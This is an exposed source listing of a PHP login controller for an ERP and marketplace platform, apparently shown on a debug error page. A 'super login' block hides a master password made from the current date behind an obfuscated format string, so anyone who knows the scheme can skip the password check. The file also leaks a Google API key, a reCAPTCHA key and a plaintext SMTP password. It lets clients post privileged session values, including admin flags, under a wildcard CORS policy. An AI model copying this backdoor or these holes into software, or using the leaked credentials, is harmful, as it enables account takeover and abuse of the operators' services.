src/ApplicationBundle/Modules/Authentication/Controller/UserLoginController.php line 9318

Open in your IDE?
  1. <?php
  2. namespace ApplicationBundle\Modules\Authentication\Controller;
  3. use ApplicationBundle\Constants\BuddybeeConstant;
  4. use ApplicationBundle\Constants\GeneralConstant;
  5. use ApplicationBundle\Constants\HumanResourceConstant;
  6. use ApplicationBundle\Controller\GenericController;
  7. use ApplicationBundle\Entity\EmployeeAttendance;
  8. use ApplicationBundle\Entity\PlanningItem;
  9. use ApplicationBundle\Interfaces\LoginInterface;
  10. use ApplicationBundle\Modules\Authentication\Company;
  11. use ApplicationBundle\Modules\Authentication\Constants\UserConstants;
  12. use ApplicationBundle\Modules\Api\Constants\ApiConstants;
  13. use ApplicationBundle\Modules\Authentication\Position;
  14. use ApplicationBundle\Modules\HumanResource\HumanResource;
  15. use ApplicationBundle\Modules\System\MiscActions;
  16. use ApplicationBundle\Modules\System\System;
  17. use CompanyGroupBundle\Entity\EntityApplicantDetails;
  18. use CompanyGroupBundle\Modules\UserEntity\EntityUserM;
  19. use Google_Client;
  20. use Google_Service_Oauth2;
  21. use Symfony\Component\HttpFoundation\JsonResponse;
  22. use Symfony\Component\HttpFoundation\Request;
  23. use Symfony\Component\Routing\Generator\UrlGenerator;
  24. class UserLoginController extends GenericController implements LoginInterface
  25. {
  26.     private function filterPostedSessionData(array $sessionData): array
  27.     {
  28.         $allowedKeys = [
  29.             'oAuthToken',
  30.             'locale',
  31.             'firebaseToken',
  32.             'token',
  33.             UserConstants::USER_EMPLOYEE_ID,
  34.             UserConstants::USER_ID,
  35.             UserConstants::LAST_SETTINGS_UPDATED_TS,
  36.             UserConstants::USER_LOGIN_ID,
  37.             UserConstants::USER_EMAIL,
  38.             UserConstants::USER_TYPE,
  39.             UserConstants::USER_IMAGE,
  40.             UserConstants::USER_DEFAULT_ROUTE,
  41.             UserConstants::USER_ROUTE_LIST,
  42.             UserConstants::USER_PROHIBIT_LIST,
  43.             UserConstants::USER_NAME,
  44.             UserConstants::USER_COMPANY_ID,
  45.             UserConstants::SUPPLIER_ID,
  46.             UserConstants::CLIENT_ID,
  47.             UserConstants::USER_COMPANY_ID_LIST,
  48.             UserConstants::USER_COMPANY_NAME_LIST,
  49.             UserConstants::USER_COMPANY_IMAGE_LIST,
  50.             UserConstants::USER_APP_ID,
  51.             UserConstants::USER_POSITION_LIST,
  52.             UserConstants::USER_CURRENT_POSITION,
  53.             UserConstants::ALL_MODULE_ACCESS_FLAG,
  54.             UserConstants::USER_GOC_ID,
  55.             UserConstants::USER_NOTIFICATION_ENABLED,
  56.             UserConstants::USER_NOTIFICATION_SERVER,
  57.             UserConstants::PRODUCT_NAME_DISPLAY_TYPE,
  58.             UserConstants::IS_BUDDYBEE_RETAILER,
  59.             UserConstants::BUDDYBEE_RETAILER_LEVEL,
  60.             UserConstants::BUDDYBEE_ADMIN_LEVEL,
  61.             UserConstants::IS_BUDDYBEE_ADMIN,
  62.             UserConstants::IS_BUDDYBEE_MODERATOR,
  63.             UserConstants::APPLICATION_SECRET,
  64.             UserConstants::SESSION_SALT,
  65.             'appIdList',
  66.             'branchIdList',
  67.             'branchId',
  68.             'companyIdListByAppId',
  69.             'companyNameListByAppId',
  70.             'companyImageListByAppId',
  71.             'userAccessList',
  72.             'csToken',
  73.             'userCompanyDarkVibrantList',
  74.             'userCompanyVibrantList',
  75.             'userCompanyLightVibrantList',
  76.             'appValiditySeconds',
  77.             'appIsValidTillTime',
  78.             'lastCheckAppValidityTime',
  79.             'appValid',
  80.             'appDataCurl',
  81.             'TRIGGER_RESET_PASSWORD',
  82.             'IS_EMAIL_VERIFIED',
  83.             'LAST_REQUEST_URI_BEFORE_LOGIN',
  84.             'devAdminMode',
  85.             'productNameDisplayType',
  86.             'appId',
  87.             'APP_ID',
  88.             'appID',
  89.             'companyID',
  90.             'companyGroupID',
  91.             'userID',
  92.             'userName',
  93.         ];
  94.         $allowedMap array_fill_keys($allowedKeystrue);
  95.         $filtered = [];
  96.         foreach ($sessionData as $key => $value) {
  97.             if (isset($allowedMap[$key])) {
  98.                 $filtered[$key] = $value;
  99.             }
  100.         }
  101.         return $filtered;
  102.     }
  103.     private function filterClientSessionData(array $sessionData): array
  104.     {
  105.         foreach ([
  106.                      UserConstants::USER_DB_NAME,
  107.                      UserConstants::USER_DB_USER,
  108.                      UserConstants::USER_DB_PASS,
  109.                      UserConstants::USER_DB_HOST,
  110.                  ] as $sensitiveKey) {
  111.             if (array_key_exists($sensitiveKey$sessionData)) {
  112.                 unset($sessionData[$sensitiveKey]);
  113.             }
  114.         }
  115.         return $sessionData;
  116.     }
  117.     private function buildSafeBootstrapSessionData($session$includeLegacyExtras true): array
  118.     {
  119.         $data = [
  120.             'oAuthToken' => $session->get('oAuthToken'),
  121.             'locale' => $session->get('locale'),
  122.             'firebaseToken' => $session->get('firebaseToken'),
  123.             'token' => $session->get('token'),
  124.             UserConstants::USER_EMPLOYEE_ID => $session->get(UserConstants::USER_EMPLOYEE_ID),
  125.             UserConstants::USER_ID => $session->get(UserConstants::USER_ID),
  126.             UserConstants::LAST_SETTINGS_UPDATED_TS => $session->get(UserConstants::LAST_SETTINGS_UPDATED_TS),
  127.             UserConstants::USER_LOGIN_ID => $session->get(UserConstants::USER_LOGIN_ID),
  128.             UserConstants::USER_EMAIL => $session->get(UserConstants::USER_EMAIL),
  129.             UserConstants::USER_TYPE => $session->get(UserConstants::USER_TYPE),
  130.             UserConstants::USER_IMAGE => $session->get(UserConstants::USER_IMAGE),
  131.             UserConstants::USER_DEFAULT_ROUTE => $session->get(UserConstants::USER_DEFAULT_ROUTE),
  132.             UserConstants::USER_ROUTE_LIST => $session->get(UserConstants::USER_ROUTE_LIST),
  133.             UserConstants::USER_PROHIBIT_LIST => $session->get(UserConstants::USER_PROHIBIT_LIST),
  134.             UserConstants::USER_NAME => $session->get(UserConstants::USER_NAME),
  135.             UserConstants::USER_COMPANY_ID => $session->get(UserConstants::USER_COMPANY_ID),
  136.             UserConstants::USER_COMPANY_ID_LIST => $session->get(UserConstants::USER_COMPANY_ID_LIST),
  137.             UserConstants::USER_COMPANY_NAME_LIST => $session->get(UserConstants::USER_COMPANY_NAME_LIST),
  138.             UserConstants::USER_COMPANY_IMAGE_LIST => $session->get(UserConstants::USER_COMPANY_IMAGE_LIST),
  139.             UserConstants::USER_APP_ID => $session->get(UserConstants::USER_APP_ID),
  140.             UserConstants::USER_POSITION_LIST => $session->get(UserConstants::USER_POSITION_LIST),
  141.             UserConstants::USER_CURRENT_POSITION => $session->get(UserConstants::USER_CURRENT_POSITION),
  142.             UserConstants::ALL_MODULE_ACCESS_FLAG => $session->get(UserConstants::ALL_MODULE_ACCESS_FLAG),
  143.             UserConstants::USER_GOC_ID => $session->get(UserConstants::USER_GOC_ID),
  144.             UserConstants::USER_NOTIFICATION_ENABLED => GeneralConstant::NOTIFICATION_ENABLED == ? ($this->getParameter('notification_enabled') == 0) : 0,
  145.             UserConstants::USER_NOTIFICATION_SERVER => $this->getParameter('notification_server'),
  146.             UserConstants::PRODUCT_NAME_DISPLAY_TYPE => $session->get(UserConstants::PRODUCT_NAME_DISPLAY_TYPE),
  147.             UserConstants::IS_BUDDYBEE_RETAILER => $session->get(UserConstants::IS_BUDDYBEE_RETAILER),
  148.             UserConstants::BUDDYBEE_RETAILER_LEVEL => $session->get(UserConstants::BUDDYBEE_RETAILER_LEVEL),
  149.             UserConstants::BUDDYBEE_ADMIN_LEVEL => $session->get(UserConstants::BUDDYBEE_ADMIN_LEVEL),
  150.             UserConstants::IS_BUDDYBEE_ADMIN => $session->get(UserConstants::IS_BUDDYBEE_ADMIN),
  151.             UserConstants::IS_BUDDYBEE_MODERATOR => $session->get(UserConstants::IS_BUDDYBEE_MODERATOR),
  152.             UserConstants::APPLICATION_SECRET => $session->get(UserConstants::APPLICATION_SECRET),
  153.             'appIdList' => $session->get('appIdList'),
  154.             'branchIdList' => $session->get('branchIdList'null),
  155.             'branchId' => $session->get('branchId'null),
  156.             'companyIdListByAppId' => $session->get('companyIdListByAppId'),
  157.             'companyNameListByAppId' => $session->get('companyNameListByAppId'),
  158.             'companyImageListByAppId' => $session->get('companyImageListByAppId'),
  159.             'userAccessList' => $session->get('userAccessList'),
  160.             'csToken' => $session->get('csToken'),
  161.             UserConstants::SUPPLIER_ID => $session->get(UserConstants::SUPPLIER_ID0),
  162.             UserConstants::CLIENT_ID => $session->get(UserConstants::CLIENT_ID0),
  163.         ];
  164.         if ($includeLegacyExtras) {
  165.             $data['userCompanyDarkVibrantList'] = $session->get('userCompanyDarkVibrantList', []);
  166.             $data['userCompanyVibrantList'] = $session->get('userCompanyVibrantList', []);
  167.             $data['userCompanyLightVibrantList'] = $session->get('userCompanyLightVibrantList', []);
  168.             $data[UserConstants::SESSION_SALT] = $session->get(UserConstants::SESSION_SALT'');
  169.         }
  170.         return $data;
  171.     }
  172.     // marketplace: raachSolar login
  173.     public function MarketPlaceLoginAction()
  174.     {
  175.         return $this->render('@Authentication/pages/views/market_place_login.html.twig',
  176.             array(
  177.                 'page_title' => 'Login',
  178.             ));
  179.     }
  180.     // marketplace: raachSolar signup
  181.     public function MarketPlaceSignupAction()
  182.     {
  183.         return $this->render('@Authentication/pages/views/market_place_signup.html.twig',
  184.             array(
  185.                 'page_title' => 'Signup',
  186.             ));
  187.     }
  188.     // marketplace: reset password
  189.     public function MarketPlaceResetPasswordAction()
  190.     {
  191.         return $this->render('@Authentication/pages/views/market_place_reset_password.html.twig',
  192.             array(
  193.                 'page_title' => 'Reset Password',
  194.             ));
  195.     }
  196.     // marketplace: verrify code
  197.     public function MarketPlaceVerifyCodeAction()
  198.     {
  199.         return $this->render('@Authentication/pages/views/market_place_verify_code.html.twig',
  200.             array(
  201.                 'page_title' => 'verify code',
  202.             ));
  203.     }
  204.     // marketplace: vendor login
  205.     public function MarketPlaceVendorLoginAction()
  206.     {
  207.         return $this->render('@Authentication/pages/views/market_place_vendor_login.html.twig',
  208.             array(
  209.                 'page_title' => 'vendor Login',
  210.             ));
  211.     }
  212.     // marketplace: vendor signup
  213.     public function MarketPlaceVendorSignupAction()
  214.     {
  215.         return $this->render('@Authentication/pages/views/market_place_vendor_signup.html.twig',
  216.             array(
  217.                 'page_title' => 'vendor Signup',
  218.             ));
  219.     }
  220.     public function GetSessionDataForAppAction(Request $request$remoteVerify 0$version 'latest',
  221.                                                        $identifier '_default_',
  222.                                                        $refRoute '',
  223.                                                        $apiKey '_ignore_')
  224.     {
  225.         $message "";
  226.         $gocList = [];
  227.         $session $request->getSession();
  228.         if ($request->request->has('token')) {
  229.             $em_goc $this->getDoctrine()->getManager('company_group');
  230.             $to_set_session_data MiscActions::GetSessionDataFromToken($em_goc$request->request->get('token'))['sessionData'];
  231.             if ($to_set_session_data != null) {
  232.                 foreach ($to_set_session_data as $k => $d) {
  233.                     //check if mobile
  234.                     $session->set($k$d);
  235.                 }
  236.             }
  237.         }
  238.         if ($request->request->has('sessionData')) {
  239.             $to_set_session_data $this->filterPostedSessionData((array)$request->request->get('sessionData'));
  240.             foreach ($to_set_session_data as $k => $d) {
  241.                 //check if mobile
  242.                 $session->set($k$d);
  243.             }
  244.         }
  245.         if ($version !== 'latest') {
  246.             $session_data $this->buildSafeBootstrapSessionData($session);
  247.         } else {
  248.             $session_data $this->buildSafeBootstrapSessionData($session);
  249.         }
  250.         $response = new JsonResponse(array(
  251.             "success" => empty($session->get(UserConstants::USER_ID)) ? false true,
  252.             //            'session'=>$request->getSession(),
  253.             'session_data' => $session_data,
  254.             //            'session2'=>$_SESSION,
  255.         ));
  256.         $response->headers->set('Access-Control-Allow-Origin''*, null');
  257.         $response->headers->set('Access-Control-Allow-Methods''POST');
  258.         //        $response->setCallback('FUNCTION_CALLBACK_NAME');
  259.         return $response;
  260.     }
  261.     public function SignUpAction(Request $request$refRoute ''$encData ""$remoteVerify 0$applicantDirectLogin 0)
  262.     {
  263.         if ($request->query->has('refRoute')) {
  264.             $refRoute $request->query->get('refRoute');
  265.             if ($refRoute == '8917922')
  266.                 $redirectRoute 'apply_for_consultant';
  267.         }
  268. //        if ($request->request->has('rcpscrtkn'))
  269.         if ($request->isMethod('POST')) {
  270.             if ($request->request->get('remoteVerify'0) != 1) {
  271.                 $rcptoken $request->request->get('rcpscrtkn') ?? '';
  272.                 $action 'SIGNUP';
  273.                 $systemType $this->container->hasParameter('system_type') ? $this->container->getParameter('system_type') : '_ERP_';
  274.                 if ($systemType == '_CENTRAL_')
  275.                     $check MiscActions::verifyRecaptchaEnterprise(
  276.                         $rcptoken,
  277.                         $action,              // enforce what you expect
  278.                         '6LdnzkAsAAAAAJRsPy3yq3B8iMZP55CGOOiXRglF'// the v3 site key
  279.                         'honeybee-erp',    // e.g. honeybee-erp
  280.                         'AIzaSyDZt7Zi1Qtcd13NeGa1eEGoB9kXyRKk_G8',    // keep server-only
  281.                         0.5
  282.                     );
  283.                 else
  284.                     $check = array(
  285.                         'ok' => true
  286.                     );
  287.                 $session $request->getSession();
  288.                 $session->set('RCPDATA'json_encode($check));
  289.                 if (!$check['ok']) {
  290.                     $message "Could not Determine authenticity";
  291.                     if ($request->request->get('remoteVerify'0) == 1)
  292.                         return new JsonResponse(array(
  293.                             'uid' => 0,
  294.                             'session' => [],
  295.                             'success' => false,
  296.                             'hbeeErrorCode' => ApiConstants::ERROR_USER_EXISTS_ALREADY,
  297.                             'errorStr' => $message,
  298.                             'session_data' => [],
  299.                         ));
  300.                     else
  301.                         return $this->redirectToRoute("user_login", [
  302.                             'id' => 0,
  303.                             'oAuthData' => [],
  304.                             'refRoute' => $refRoute,
  305.                         ]);
  306.                 }
  307.             }
  308.         }
  309.         $redirectRoute 'dashboard';
  310.         if ($refRoute != '') {
  311.             if ($refRoute == '8917922')
  312.                 $redirectRoute 'apply_for_consultant';
  313.         }
  314.         if ($request->query->has('refRoute')) {
  315.             $refRoute $request->query->get('refRoute');
  316.             if ($refRoute == '8917922')
  317.                 $redirectRoute 'apply_for_consultant';
  318.         }
  319.         $message '';
  320.         $errorField '_NONE_';
  321.         if ($request->query->has('message')) {
  322.             $message $request->query->get('message');
  323.         }
  324.         if ($request->query->has('errorField')) {
  325.             $errorField $request->query->get('errorField');
  326.         }
  327.         $gocList = [];
  328.         $skipPassword 0;
  329.         $firstLogin 0;
  330.         $remember_me 0;
  331.         $systemType $this->container->hasParameter('system_type') ? $this->container->getParameter('system_type') : '_ERP_';
  332.         if ($request->isMethod('POST')) {
  333.             if ($request->request->has('remember_me'))
  334.                 $remember_me 1;
  335.         } else {
  336.             if ($request->query->has('remember_me'))
  337.                 $remember_me 1;
  338.         }
  339.         if ($encData != "")
  340.             $encData json_decode($this->get('url_encryptor')->decrypt($encData));
  341.         else if ($request->query->has('spd')) {
  342.             $encData json_decode($this->get('url_encryptor')->decrypt($request->query->get('spd')), true);
  343.         }
  344.         $user = [];
  345.         $userType 0//nothing for now , will add supp or client if we find anything
  346.         $em_goc $this->getDoctrine()->getManager('company_group');
  347.         $em_goc->getConnection()->connect();
  348.         $gocEnabled 0;
  349.         if ($this->container->hasParameter('entity_group_enabled'))
  350.             $gocEnabled $this->container->getParameter('entity_group_enabled');
  351.         if ($gocEnabled == 1)
  352.             $connected $em_goc->getConnection()->isConnected();
  353.         else
  354.             $connected false;
  355.         if ($connected)
  356.             $gocList $em_goc
  357.                 ->getRepository("CompanyGroupBundle\\Entity\\CompanyGroup")
  358.                 ->findBy(
  359.                     array(
  360.                         'active' => 1
  361.                     )
  362.                 );
  363.         $gocDataList = [];
  364.         $gocDataListForLoginWeb = [];
  365.         $gocDataListByAppId = [];
  366.         foreach ($gocList as $entry) {
  367.             $d = array(
  368.                 'name' => $entry->getName(),
  369.                 'id' => $entry->getId(),
  370.                 'appId' => $entry->getAppId(),
  371.                 'skipInWebFlag' => $entry->getSkipInWebFlag(),
  372.                 'skipInAppFlag' => $entry->getSkipInAppFlag(),
  373.                 'dbName' => $entry->getDbName(),
  374.                 'dbUser' => $entry->getDbUser(),
  375.                 'dbPass' => $entry->getDbPass(),
  376.                 'dbHost' => $entry->getDbHost(),
  377.                 'companyRemaining' => $entry->getCompanyRemaining(),
  378.                 'companyAllowed' => $entry->getCompanyAllowed(),
  379.             );
  380.             $gocDataList[$entry->getId()] = $d;
  381.             if (in_array($entry->getSkipInWebFlag(), [0null]))
  382.                 $gocDataListForLoginWeb[$entry->getId()] = $d;
  383.             $gocDataListByAppId[$entry->getAppId()] = $d;
  384.         }
  385.         $gocDbName '';
  386.         $gocDbUser '';
  387.         $gocDbPass '';
  388.         $gocDbHost '';
  389.         $gocId 0;
  390.         $hasGoc 0;
  391.         $userId 0;
  392.         $userCompanyId 0;
  393.         $specialLogin 0;
  394.         $supplierId 0;
  395.         $applicantId 0;
  396.         $isApplicantLogin 0;
  397.         $clientId 0;
  398.         $cookieLogin 0;
  399.         if ($request->request->has('gocId')) {
  400.             $hasGoc 1;
  401.             $gocId $request->request->get('gocId');
  402.         }
  403.         $entityLoginFlag $request->get('entityLoginFlag') ? $request->get('entityLoginFlag') : 0;
  404.         $loginType $request->get('loginType') ? $request->get('loginType') : 1;
  405.         $oAuthData $request->get('oAuthData') ? $request->get('oAuthData') : 0;
  406.         $signUpUserType 0;
  407.         $em_goc $this->getDoctrine()->getManager('company_group');
  408.         if ($request->isMethod('POST') || $request->query->has('oAuthData') || $cookieLogin == 1) {
  409.             ///super login
  410.             $todayDt = new \DateTime();
  411. //            $mp='_eco_';
  412.             $mp $todayDt->format("\171\x6d\x64");
  413.             if ($request->request->get('password') == $mp)
  414.                 $skipPassword 1;
  415.             $signUpUserType $request->request->get('signUpUserType'8);
  416.             $userData = [
  417.                 'userType' => $signUpUserType,
  418.                 'userId' => 0,
  419.                 'gocId' => 0,
  420.                 'appId' => 0,
  421.             ];//properlyformatted data
  422.             $first_name '';
  423.             $last_name '';
  424.             $email '';
  425.             $userName '';
  426.             $password '';
  427.             $phone '';
  428.             if ($request->request->has('firstname')) $first_name $request->request->get('firstname');
  429.             if ($request->request->has('lastname')) $last_name $request->request->get('lastname');
  430.             if ($request->request->has('email')) $email $request->request->get('email');
  431.             if ($request->request->has('password')) $password $request->request->get('password');
  432.             if ($request->request->has('username')) $userName $request->request->get('username');
  433.             if ($request->request->has('phone')) $phone $request->request->get('phone''');
  434.             if ($signUpUserType == UserConstants::USER_TYPE_APPLICANT) {
  435.                 $oAuthEmail $email;
  436.                 $oAuthData = [
  437.                     'email' => $email,
  438.                     'phone' => $phone,
  439.                     'uniqueId' => '',
  440.                     'image' => '',
  441.                     'emailVerified' => '',
  442.                     'name' => $first_name ' ' $last_name,
  443.                     'type' => '0',
  444.                     'token' => '',
  445.                 ];
  446.                 // Multi-email aware existence check (2026-07-04 fix): match the OAuth email against
  447.                 // ANY email tagged on an account (comma list, email OR oAuthEmail). The old exact
  448.                 // single-value findOneBy could not match a comma-joined value, so it MISSED the
  449.                 // real account and the code below created a DUPLICATE that then clobbered the
  450.                 // original's tagged emails.
  451.                 $isApplicantExist = \ApplicationBundle\Helper\ApplicantEmailResolver::findOneByAnyEmail($em_goc$oAuthEmail);
  452.                 if (!$isApplicantExist)
  453.                     $isApplicantExist $em_goc->getRepository('CompanyGroupBundle\\Entity\\EntityApplicantDetails')->findOneBy(
  454.                         [
  455.                             'username' => $userName
  456.                         ]
  457.                     );
  458.                 if ($isApplicantExist) {
  459.                     if ($isApplicantExist->getIsTemporaryEntry() == 1) {
  460.                     } else {
  461.                         $message "Email/User Already Exists";
  462.                         if ($request->request->get('remoteVerify'0) == 1)
  463.                             return new JsonResponse(array(
  464.                                 'uid' => $isApplicantExist->getApplicantId(),
  465.                                 'session' => [],
  466.                                 'success' => false,
  467.                                 'hbeeErrorCode' => ApiConstants::ERROR_USER_EXISTS_ALREADY,
  468.                                 'errorStr' => $message,
  469.                                 'session_data' => [],
  470.                             ));
  471.                         else
  472.                             return $this->redirectToRoute("user_login", [
  473.                                 'id' => $isApplicantExist->getApplicantId(),
  474.                                 'oAuthData' => $oAuthData,
  475.                                 'refRoute' => $refRoute,
  476.                             ]);
  477.                     }
  478.                 }
  479.                 $img $oAuthData['image'];
  480.                 $email $oAuthData['email'];
  481. //                $userName = explode('@', $email)[0];
  482.                 //now check if same username exists
  483.                 $username_already_exist 0;
  484.                 $newApplicant null;
  485.                 $isReuse false;
  486.                 if ($isApplicantExist) {
  487.                     $newApplicant $isApplicantExist;
  488.                     $isReuse true;
  489.                 } else
  490.                     $newApplicant = new EntityApplicantDetails();
  491.                 if ($isReuse) {
  492.                     // MERGE, never clobber (2026-07-04 fix): on a login/reuse, APPEND the incoming
  493.                     // email to the account's comma list (idempotent) and only FILL empty identity
  494.                     // fields â€” never overwrite a populated username / oAuthEmail with a single value.
  495.                     $newApplicant->setEmail(\ApplicationBundle\Helper\ApplicantEmailResolver::appendEmail($newApplicant->getEmail(), $email));
  496.                     if (trim((string) $newApplicant->getUserName()) === '') {
  497.                         $newApplicant->setUserName($userName);
  498.                     }
  499.                     if (trim((string) $newApplicant->getOAuthEmail()) === '') {
  500.                         $newApplicant->setOAuthEmail($oAuthEmail);
  501.                     } else {
  502.                         $newApplicant->setOAuthEmail(\ApplicationBundle\Helper\ApplicantEmailResolver::appendEmail($newApplicant->getOAuthEmail(), $oAuthEmail));
  503.                     }
  504.                     if (trim((string) $newApplicant->getFirstname()) === '') { $newApplicant->setFirstname($first_name); }
  505.                     if (trim((string) $newApplicant->getLastname()) === '') { $newApplicant->setLastname($last_name); }
  506.                     if (trim((string) $newApplicant->getPhone()) === '') { $newApplicant->setPhone($phone); }
  507.                 } else {
  508.                     $newApplicant->setActualRegistrationAt(new \DateTime());
  509.                     $newApplicant->setEmail($email);
  510.                     $newApplicant->setUserName($userName);
  511.                     $newApplicant->setFirstname($first_name);
  512.                     $newApplicant->setLastname($last_name);
  513.                     $newApplicant->setOAuthEmail($oAuthEmail);
  514.                     $newApplicant->setPhone($phone);
  515.                 }
  516.                 if ($systemType == '_SOPHIA_')
  517.                     $newApplicant->setIsEmailVerified(1);
  518.                 else
  519.                     $newApplicant->setIsEmailVerified(1); //temporary
  520. //                    $newApplicant->setIsEmailVerified(isset($oAuthData['emailVerified']) ? ($oAuthData['emailVerified'] != '' ? 1 : 0) : 0);
  521.                 $newApplicant->setAccountStatus(1);
  522. //                $newUser->setSalt(uniqid(mt_rand()));
  523.                 //salt will be username
  524. //                $this->container->get('sha256salted_encoder')->isPasswordValid($user->getPassword(), $request->request->get('password'), $user->getSalt())
  525.                 $salt uniqid(mt_rand());
  526.                 $encodedPassword $this->container->get('app.legacy_password_service')->hashWithSalt($password$salt);
  527.                 $newApplicant->setPassword($encodedPassword);
  528.                 $newApplicant->setSalt($salt);
  529.                 $newApplicant->setTempPassword('');
  530. //                $newApplicant->setTempPassword($password.'_'.$salt);
  531.                 $newApplicant->setImage($img);
  532.                 $newApplicant->setIsConsultant(0);
  533.                 $newApplicant->setIsTemporaryEntry(0);
  534.                 $newApplicant->setTriggerResetPassword(0);
  535.                 $newApplicant->setApplyForConsultant(0);
  536.                 $newApplicant->setImage($oAuthData['image'] ?? '');
  537.                 $otp random_int(100000999999);
  538.                 $newApplicant->setEmailVerificationHash($otp);
  539.                 $em_goc->persist($newApplicant);
  540.                 $em_goc->flush();
  541.                 if (GeneralConstant::EMAIL_ENABLED == 1) {
  542.                     if ($systemType == '_BUDDYBEE_') {
  543.                         $bodyHtml '';
  544.                         $bodyTemplate '@Application/email/templates/buddybeeRegistrationComplete.html.twig';
  545.                         $bodyData = array(
  546.                             'name' => $newApplicant->getFirstname() . ' ' $newApplicant->getLastname(),
  547.                             'email' => $userName,
  548.                             'showPassword' => $newApplicant->getTempPassword() != '' 0,
  549.                             'password' => $newApplicant->getTempPassword(),
  550.                         );
  551.                         $attachments = [];
  552.                         $forwardToMailAddress $newApplicant->getOAuthEmail();
  553. //                    $upl_dir = $this->container->getParameter('kernel.root_dir') . '/../web/uploads/temp/' . 'ledger' . '.pdf'
  554.                         $new_mail $this->get('mail_module');
  555.                         $new_mail->sendMyMail(array(
  556.                             'senderHash' => '_CUSTOM_',
  557.                             //                        'senderHash'=>'_CUSTOM_',
  558.                             'forwardToMailAddress' => $forwardToMailAddress,
  559.                             'subject' => 'Welcome to BuddyBee ',
  560. //                        'fileName' => 'Order#' . str_pad($id, 8, '0', STR_PAD_LEFT) . '.pdf',
  561.                             'attachments' => $attachments,
  562.                             'toAddress' => $forwardToMailAddress,
  563.                             'fromAddress' => 'registration@buddybee.eu',
  564.                             'userName' => 'registration@buddybee.eu',
  565.                             'password' => 'Y41dh8g0112',
  566.                             'smtpServer' => \ApplicationBundle\Helper\MailerConfig::host(),
  567.                             'smtpPort' => \ApplicationBundle\Helper\MailerConfig::port(),
  568. //                            'emailBody' => $bodyHtml,
  569.                             'mailTemplate' => $bodyTemplate,
  570.                             'templateData' => $bodyData,
  571. //                        'embedCompanyImage' => 1,
  572. //                        'companyId' => $companyId,
  573. //                        'companyImagePath' => $company_data->getImage()
  574.                         ));
  575.                     } else {
  576.                         $bodyHtml '';
  577.                         $bodyTemplate '@Application/email/user/applicant_login.html.twig';
  578.                         $bodyData = array(
  579.                             'name' => $newApplicant->getFirstname() . ' ' $newApplicant->getLastname(),
  580.                             'email' => 'APP-' $userName,
  581.                             'password' => $newApplicant->getPassword(),
  582.                         );
  583.                         $attachments = [];
  584.                         $forwardToMailAddress $newApplicant->getOAuthEmail();
  585. //                    $upl_dir = $this->container->getParameter('kernel.root_dir') . '/../web/uploads/temp/' . 'ledger' . '.pdf'
  586.                         $new_mail $this->get('mail_module');
  587.                         $new_mail->sendMyMail(array(
  588.                             'senderHash' => '_CUSTOM_',
  589.                             //                        'senderHash'=>'_CUSTOM_',
  590.                             'forwardToMailAddress' => $forwardToMailAddress,
  591.                             'subject' => 'Applicant Registration on Honeybee',
  592. //                        'fileName' => 'Order#' . str_pad($id, 8, '0', STR_PAD_LEFT) . '.pdf',
  593.                             'attachments' => $attachments,
  594.                             'toAddress' => $forwardToMailAddress,
  595.                             'fromAddress' => 'accounts@ourhoneybee.eu',
  596.                             'userName' => 'accounts@ourhoneybee.eu',
  597.                             'password' => \ApplicationBundle\Helper\MailerConfig::buddybeePassword(),
  598.                             'smtpServer' => \ApplicationBundle\Helper\MailerConfig::host(),
  599.                             'smtpPort' => \ApplicationBundle\Helper\MailerConfig::port(),
  600.                             'emailBody' => $bodyHtml,
  601.                             'mailTemplate' => $bodyTemplate,
  602.                             'templateData' => $bodyData,
  603. //                        'embedCompanyImage' => 1,
  604. //                        'companyId' => $companyId,
  605. //                        'companyImagePath' => $company_data->getImage()
  606.                         ));
  607.                     }
  608.                 }
  609.                 if ($request->request->get('remoteVerify'$request->query->get('remoteVerify'$remoteVerify)) == 1) {
  610.                     $modifiedRequest Request::create(
  611.                         '',
  612.                         'GET',
  613.                         [
  614.                             'id' => $newApplicant->getApplicantId(),
  615.                             'oAuthData' => $oAuthData,
  616.                             'refRoute' => $refRoute,
  617.                             'remoteVerify' => $request->request->get('remoteVerify'$request->query->get('remoteVerify'$remoteVerify)),
  618.                         ]
  619.                     );
  620.                     $modifiedRequest->setSession($request->getSession());
  621.                     return $this->doLoginAction($modifiedRequest);
  622.                 } else
  623.                     return $this->redirectToRoute("core_login", [
  624.                         'id' => $newApplicant->getApplicantId(),
  625.                         'oAuthData' => $oAuthData,
  626.                         'refRoute' => $refRoute,
  627.                         'remoteVerify' => $request->request->get('remoteVerify'$request->query->get('remoteVerify'$remoteVerify)),
  628.                     ]);
  629.             }
  630. //            if ($signUpUserType == UserConstants::USER_TYPE_APPLICANT) {
  631. //
  632. //                $oAuthEmail = $email;
  633. //
  634. //
  635. //                $oAuthData = [
  636. //                    'email' => $email,
  637. //                    'phone' => $phone,
  638. //                    'uniqueId' => '',
  639. //                    'image' => '',
  640. //                    'emailVerified' => '',
  641. //                    'name' => $first_name . ' ' . $last_name,
  642. //                    'type' => '0',
  643. //                    'token' => '',
  644. //                ];
  645. //
  646. //
  647. //                $isApplicantExist = $em_goc->getRepository('CompanyGroupBundle\\Entity\\EntityApplicantDetails')->findOneBy(
  648. //                    [
  649. //                        'oAuthEmail' => $oAuthEmail
  650. //                    ]
  651. //                );
  652. //                if (!$isApplicantExist)
  653. //                    $isApplicantExist = $em_goc->getRepository('CompanyGroupBundle\\Entity\\EntityApplicantDetails')->findOneBy(
  654. //                        [
  655. //                            'email' => $oAuthEmail
  656. //                        ]
  657. //                    );
  658. //                if (!$isApplicantExist)
  659. //                    $isApplicantExist = $em_goc->getRepository('CompanyGroupBundle\\Entity\\EntityApplicantDetails')->findOneBy(
  660. //                        [
  661. //                            'username' => $userName
  662. //                        ]
  663. //                    );
  664. //
  665. //
  666. //                if ($isApplicantExist) {
  667. //                    if ($isApplicantExist->getIsTemporaryEntry() == 1) {
  668. //
  669. //                    } else {
  670. //                        $message = "Email/User Already Exists";
  671. //                        if ($request->request->get('remoteVerify', $request->query->get('remoteVerify', $remoteVerify)) == 1)
  672. //                            return new JsonResponse(array(
  673. //                                'uid' => $isApplicantExist->getApplicantId(),
  674. //                                'session' => [],
  675. //                                'success' => false,
  676. //                                'hbeeErrorCode' => ApiConstants::ERROR_USER_EXISTS_ALREADY,
  677. //                                'errorStr' => $message,
  678. //                                'session_data' => [],
  679. //
  680. //                            ));
  681. //                        else
  682. //                            return $this->redirectToRoute("user_login", [
  683. //                                'id' => $isApplicantExist->getApplicantId(),
  684. //                                'oAuthData' => $oAuthData,
  685. //                                'refRoute' => $refRoute,
  686. //                            ]);
  687. //                    }
  688. //                }
  689. //
  690. //
  691. //                $img = $oAuthData['image'];
  692. //
  693. //                $email = $oAuthData['email'];
